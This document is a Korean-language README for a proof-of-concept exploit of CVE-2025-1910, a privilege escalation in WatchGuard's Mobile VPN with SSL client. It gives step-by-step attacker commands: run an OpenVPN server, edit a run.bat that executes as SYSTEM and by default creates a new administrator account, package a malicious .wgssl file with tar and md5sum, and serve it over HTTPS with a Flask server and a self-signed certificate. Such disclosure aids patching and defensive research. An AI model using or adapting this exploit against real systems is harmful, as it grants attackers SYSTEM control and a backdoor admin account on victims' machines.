
Watchguard의 Mobile VPN with SSL 클라이언트 내 로컬 권한 상승 취약점인 CVE-2025-1910을 악용하기 위한 개념 증명(PoC)입니다.
WatchGuard의 Mobile VPN with SSL <= 12.11.2의 권한 상승 취약점으로 인해 낮은 권한의 사용자가 클라이언트에서 SYSTEM으로 명령을 실행할 수 있습니다. Mobile VPN with SSL 버전 12.11.2로 테스트되었습니다.
자세한 내용은 블로그 기사 (독일어 버전)를 참조하십시오.
sudo openvpn --config server.conf

./client/client.ovpn의 remote 옵션을 OpenVPN 서버를 가리키도록 수정합니다.
./client/run.bat을 원하는 대로 수정합니다. 이 스크립트는 SYSTEM으로 실행됩니다. 기본적으로 새 관리자 사용자(shinyNewAdmin)가 생성됩니다.
악성 WatchGuard client.wgssl 파일을 생성합니다:
cd client/
# Create checksum
md5sum client.ovpn run.bat > MD5SUM
# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn MD5SUM run.bat
cd ..
flask를 사용하여 악성 client.wgssl 파일을 제공합니다:# Start the flask HTTPS server
sudo python3 srv.py

선택적으로 openssl을 통해 새 인증서와 키 쌍을 생성할 수 있습니다:
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"
그런 다음 취약한 버전의 Mobile VPN with SSL이 설치된 피해자 시스템에서(예: 버전 12.11.2, 다운로드) 공격자 서버에 연결을 시도합니다. 입력한 사용자 이름과 비밀번호는 중요하지 않습니다:

인증서 경고를 무시하려면 보안 경고에서 예를 클릭합니다:

연결이 성공적으로 설정된 후 run.bat 파일이 실행되고 shinyNewAdmin 사용자가 생성됩니다:

공격자 서버에는 Python, openssl, openvpn이 설치되어 있어야 합니다. 또한 flask Python 패키지도 설치해야 합니다:
pip install -r requirements.txt
Nix가 설치되어 있으면 개발 셸을 바로 시작할 수 있습니다:
nix develop